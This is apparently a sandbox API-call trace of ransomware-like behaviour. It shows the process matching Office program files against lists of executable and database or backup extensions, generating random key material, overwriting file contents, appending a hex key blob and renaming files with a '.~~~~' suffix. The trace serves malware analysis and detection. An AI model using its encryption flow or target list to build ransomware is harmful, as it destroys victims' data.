	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".MYD") returned 0x0
	[0079.887] lstrlenW (lpString=".DBT") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DBT") returned 0x0
	[0079.887] lstrlenW (lpString=".ACCDB") returned 6
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".ACCDB") returned 0x0
	[0079.887] lstrlenW (lpString=".fdb") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".fdb") returned 0x0
	[0079.887] lstrlenW (lpString=".bak") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".bak") returned 0x0
	[0079.887] lstrlenW (lpString=".myd") returned 4
	[0079.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".myd") returned 0x0
	[0079.888] lstrlenW (lpString=".DTXS") returned 5
	[0079.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".DTXS") returned 0x0
	[0079.888] lstrlenW (lpString=".ckp") returned 4
	[0079.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".ckp") returned 0x0
	[0079.888] lstrlenW (lpString=".dbt") returned 4
	[0079.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".dbt") returned 0x0
	[0079.888] lstrlenW (lpString=".db") returned 3
	[0079.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".db") returned 0x0
	[0079.888] lstrlenW (lpString=".TXT") returned 4
	[0079.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".TXT") returned 0x0
	[0079.888] lstrlenW (lpString=".MDF") returned 4
	[0079.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".MDF") returned 0x0
	[0079.888] lstrlenW (lpString=".bdb") returned 4
	[0079.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".bdb") returned 0x0
	[0079.888] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0079.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.888] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0079.889] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.889] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0079.890] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19987972644) returned 1
	[0079.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x997a5fb0, dwHighDateTime=0x1d60e1e)) 
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b970
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b970 | out: hHeap=0x300000) returned 1
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd328
	[0079.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0079.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd328 | out: hHeap=0x300000) returned 1
	[0079.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb4a0
	[0079.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.890] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0079.890] GetLastError () returned 0x0
	[0079.891] GetLastError () returned 0x0
	[0079.891] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0079.891] GetLastError () returned 0x0
	[0079.891] GetLastError () returned 0x0
	[0079.891] ReadFile (in: hFile=0x11c, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.938] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.938] WriteFile (in: hFile=0x11c, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0079.938] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.938] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.003] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.003] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.003] CloseHandle (hObject=0x11c) returned 1
	[0080.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.~~~~")) returned 1
	[0080.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.100] GetLastError () returned 0x0
	[0080.100] RtlWakeConditionVariable () returned 0x365f70
	[0080.100] GetCurrentThreadId () returned 0x9f4
	[0080.100] GetCurrentThreadId () returned 0x9f4
	[0080.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fba90 | out: hHeap=0x300000) returned 1
	[0080.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b9e0 | out: hHeap=0x300000) returned 1
	[0080.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fba90
	[0080.100] lstrlenW (lpString=".scr") returned 4
	[0080.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".scr") returned 0x0
	[0080.100] lstrlenW (lpString=".cmd") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".cmd") returned 0x0
	[0080.101] lstrlenW (lpString=".dll") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dll") returned 0x0
	[0080.101] lstrlenW (lpString=".bat") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".bat") returned 0x0
	[0080.101] lstrlenW (lpString=".cpl") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".cpl") returned 0x0
	[0080.101] lstrlenW (lpString=".sys") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".sys") returned 0x0
	[0080.101] lstrlenW (lpString=".msc") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".msc") returned 0x0
	[0080.101] lstrlenW (lpString=".com") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".com") returned 0x0
	[0080.101] lstrlenW (lpString=".lnk") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".lnk") returned 0x0
	[0080.101] lstrlenW (lpString=".msp") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".msp") returned 0x0
	[0080.101] lstrlenW (lpString=".pif") returned 4
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".pif") returned 0x0
	[0080.101] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0080.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.103] lstrlenW (lpString=".sqb") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".sqb") returned 0x0
	[0080.103] lstrlenW (lpString=".ost") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".ost") returned 0x0
	[0080.103] lstrlenW (lpString=".txt") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".txt") returned 0x0
	[0080.103] lstrlenW (lpString=".mdt") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".mdt") returned 0x0
	[0080.103] lstrlenW (lpString=".BDB") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".BDB") returned 0x0
	[0080.103] lstrlenW (lpString=".eql") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".eql") returned 0x0
	[0080.103] lstrlenW (lpString=".DBF") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DBF") returned 0x0
	[0080.103] lstrlenW (lpString=".EQL") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".EQL") returned 0x0
	[0080.103] lstrlenW (lpString=".FDB") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".FDB") returned 0x0
	[0080.103] lstrlenW (lpString=".EDB") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".EDB") returned 0x0
	[0080.103] lstrlenW (lpString=".DACPAC") returned 7
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DACPAC") returned 0x0
	[0080.103] lstrlenW (lpString=".VHD") returned 4
	[0080.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".VHD") returned 0x0
	[0080.103] lstrlenW (lpString=".DBV") returned 4
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DBV") returned 0x0
	[0080.104] lstrlenW (lpString=".dacpac") returned 7
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dacpac") returned 0x0
	[0080.104] lstrlenW (lpString=".sdf") returned 4
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".sdf") returned 0x0
	[0080.104] lstrlenW (lpString=".accdb") returned 6
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".accdb") returned 0x0
	[0080.104] lstrlenW (lpString=".DBX") returned 4
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DBX") returned 0x0
	[0080.104] lstrlenW (lpString=".MDT") returned 4
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".MDT") returned 0x0
	[0080.104] lstrlenW (lpString=".SQB") returned 4
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".SQB") returned 0x0
	[0080.104] lstrlenW (lpString=".vhd") returned 4
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".vhd") returned 0x0
	[0080.104] lstrlenW (lpString=".bac") returned 4
	[0080.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".bac") returned 0x0
	[0080.104] lstrlenW (lpString=".mdf") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".mdf") returned 0x0
	[0080.105] lstrlenW (lpString=".BAK") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".BAK") returned 0x0
	[0080.105] lstrlenW (lpString=".BAC") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".BAC") returned 0x0
	[0080.105] lstrlenW (lpString=".dbs") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dbs") returned 0x0
	[0080.105] lstrlenW (lpString=".vhdx") returned 5
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".vhdx") returned 0x0
	[0080.105] lstrlenW (lpString=".NDF") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".NDF") returned 0x0
	[0080.105] lstrlenW (lpString=".dat") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dat") returned 0x0
	[0080.105] lstrlenW (lpString=".DBS") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DBS") returned 0x0
	[0080.105] lstrlenW (lpString=".CKP") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".CKP") returned 0x0
	[0080.105] lstrlenW (lpString=".edb") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".edb") returned 0x0
	[0080.105] lstrlenW (lpString=".PST") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".PST") returned 0x0
	[0080.105] lstrlenW (lpString=".dbf") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dbf") returned 0x0
	[0080.105] lstrlenW (lpString=".SQL") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".SQL") returned 0x0
	[0080.105] lstrlenW (lpString=".pst") returned 4
	[0080.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".pst") returned 0x0
	[0080.106] lstrlenW (lpString=".dbv") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dbv") returned 0x0
	[0080.106] lstrlenW (lpString=".SDF") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".SDF") returned 0x0
	[0080.106] lstrlenW (lpString=".dtxs") returned 5
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dtxs") returned 0x0
	[0080.106] lstrlenW (lpString=".db3") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".db3") returned 0x0
	[0080.106] lstrlenW (lpString=".OST") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".OST") returned 0x0
	[0080.106] lstrlenW (lpString=".dbx") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dbx") returned 0x0
	[0080.106] lstrlenW (lpString=".DB3") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DB3") returned 0x0
	[0080.106] lstrlenW (lpString=".DAT") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DAT") returned 0x0
	[0080.106] lstrlenW (lpString=".VHDX") returned 5
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".VHDX") returned 0x0
	[0080.106] lstrlenW (lpString=".ndf") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".ndf") returned 0x0
	[0080.106] lstrlenW (lpString=".DB") returned 3
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DB") returned 0x0
	[0080.106] lstrlenW (lpString=".sql") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".sql") returned 0x0
	[0080.106] lstrlenW (lpString=".MYD") returned 4
	[0080.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".MYD") returned 0x0
	[0080.107] lstrlenW (lpString=".DBT") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DBT") returned 0x0
	[0080.107] lstrlenW (lpString=".ACCDB") returned 6
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".ACCDB") returned 0x0
	[0080.107] lstrlenW (lpString=".fdb") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".fdb") returned 0x0
	[0080.107] lstrlenW (lpString=".bak") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".bak") returned 0x0
	[0080.107] lstrlenW (lpString=".myd") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".myd") returned 0x0
	[0080.107] lstrlenW (lpString=".DTXS") returned 5
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".DTXS") returned 0x0
	[0080.107] lstrlenW (lpString=".ckp") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".ckp") returned 0x0
	[0080.107] lstrlenW (lpString=".dbt") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".dbt") returned 0x0
	[0080.107] lstrlenW (lpString=".db") returned 3
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".db") returned 0x0
	[0080.107] lstrlenW (lpString=".TXT") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".TXT") returned 0x0
	[0080.107] lstrlenW (lpString=".MDF") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".MDF") returned 0x0
	[0080.107] lstrlenW (lpString=".bdb") returned 4
	[0080.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".bdb") returned 0x0
	[0080.107] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.108] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.109] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.109] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.109] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20009907745) returned 1
	[0080.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99995190, dwHighDateTime=0x1d60e1e)) 
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
